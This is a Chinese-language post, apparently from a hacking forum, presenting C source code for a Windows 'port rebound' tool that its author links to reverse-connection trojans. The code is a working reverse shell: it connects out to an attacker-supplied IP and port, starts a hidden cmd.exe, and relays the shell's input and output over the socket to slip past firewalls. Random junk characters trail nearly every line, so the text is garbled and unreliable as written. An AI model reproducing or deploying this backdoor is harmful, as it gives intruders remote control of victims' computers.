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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VQNH@g^gqr  
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/* ============================== .HyiPx3^  
Rebound port in Windows NT K~ /V  
By wind,2006/7 V_d%g<n4  
===============================*/ UCj#t!Mw  
#include Dp6"I!L<|  
#include 5~R{,]52  
S| -{wC%  
#pragma comment(lib,"wsock32.lib") w>q_8V_K  
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void OutputShell(); [ MXXY  
SOCKET sClient; ?QIQ,?.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <sFf'W_3{  
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void main(int argc,char **argv) 98}vbl31j  
{ 1H[;7@o$e  
WSADATA stWsaData; QEHZ=Yg%3  
int nRet; vAhO!5]>\  
SOCKADDR_IN stSaiClient,stSaiServer; Gc!{%x  
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if(argc != 3) 4aGpKvW  
{ awW\$Q  
printf("Useage:\n\rRebound DestIP DestPort\n"); `M<G8ob  
return; yhn $4;m  
} .p0n\ $r  
d\Z4?@T<5  
WSAStartup(MAKEWORD(2,2),&stWsaData); lR K ?%~  
sF3 l##Wv  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L8K3&[l%  
l3|>*szX  
stSaiClient.sin_family = AF_INET; MmX[xk  
stSaiClient.sin_port = htons(0); R]s jG <  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); GQ)cUrXQz  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b2f2WY |z>  
{ VM|)\?Q  
printf("Bind Socket Failed!\n"); .MPOUo/e  
return; O xaua  
} p[VCt" j  
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stSaiServer.sin_family = AF_INET; k+G4<qw  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vlyNQ7"%  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); CKt~#$ I%  
h?tV>x/Fu  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) VzM@DM]=~  
{ vgZPDf|  
printf("Connect Error!"); ghQsS|)p.  
return; M6Z`Pwv];  
}  !3M!p&  
OutputShell(); 95&sFT C  
} J 2~B<=V  
l+X^x%EA  
void OutputShell() Sh6 NgO  
{ a#Gq J?nY  
char szBuff[1024]; (xJBN?NRO  
SECURITY_ATTRIBUTES stSecurityAttributes; "Ksd9,J\b  
OSVERSIONINFO stOsversionInfo; ! m5\w>  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `CouP-g.  
STARTUPINFO stStartupInfo; ^n5QK HD  
char *szShell; vjWgR9 4/{  
PROCESS_INFORMATION stProcessInformation; / ^M3-5@Q  
unsigned long lBytesRead; XxQ2g&USk  
=,Um;hU3r  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a #**96Av  
#^w 1!xXD  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F+^[8zK^  
stSecurityAttributes.lpSecurityDescriptor = 0; a2)*tbM 9\  
stSecurityAttributes.bInheritHandle = TRUE; >'g60R[  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5d;K.O  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4[j) $!l`  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); md_s2d  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \aRB   
stStartupInfo.wShowWindow = SW_HIDE; ;G&O"S><]c  
stStartupInfo.hStdInput = hReadPipe; ~i {)J  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; TU6EE  
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GetVersionEx(&stOsversionInfo); U.)eJ1a  
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switch(stOsversionInfo.dwPlatformId) tXGcwoOB  
{ > _) a7%  
case 1: 1fG@r%4  
szShell = "command.com"; uB!P>v6  
break; O4URr  
default: t)b>f~  
szShell = "cmd.exe"; :P'5_YSi  
break; IiU|@f~k  
} $S=OmdgR  
cv&hT.1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z`6KX93  
xBd% e-r  
send(sClient,szMsg,77,0); ]sIFK  
while(1) ^U1 +D^AJ  
{ yrb%g~ELGn  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I*t}gvUt9  
if(lBytesRead) _J`M>W)8  
{ '7%9Sqx  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?q7Gs)B=^'  
send(sClient,szBuff,lBytesRead,0); -O6o^Dk  
} 8;bOw  
else 4K,&Q/Vdd7  
{ SxyFFt  
lBytesRead=recv(sClient,szBuff,1024,0); * tqeq y-X  
if(lBytesRead<=0) break; #`EMK   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L>*|T[~  
} ;!Mg,jlQ  
} ttxOP  
hTqJDP"&F  
return; +%^xz 1m  
}
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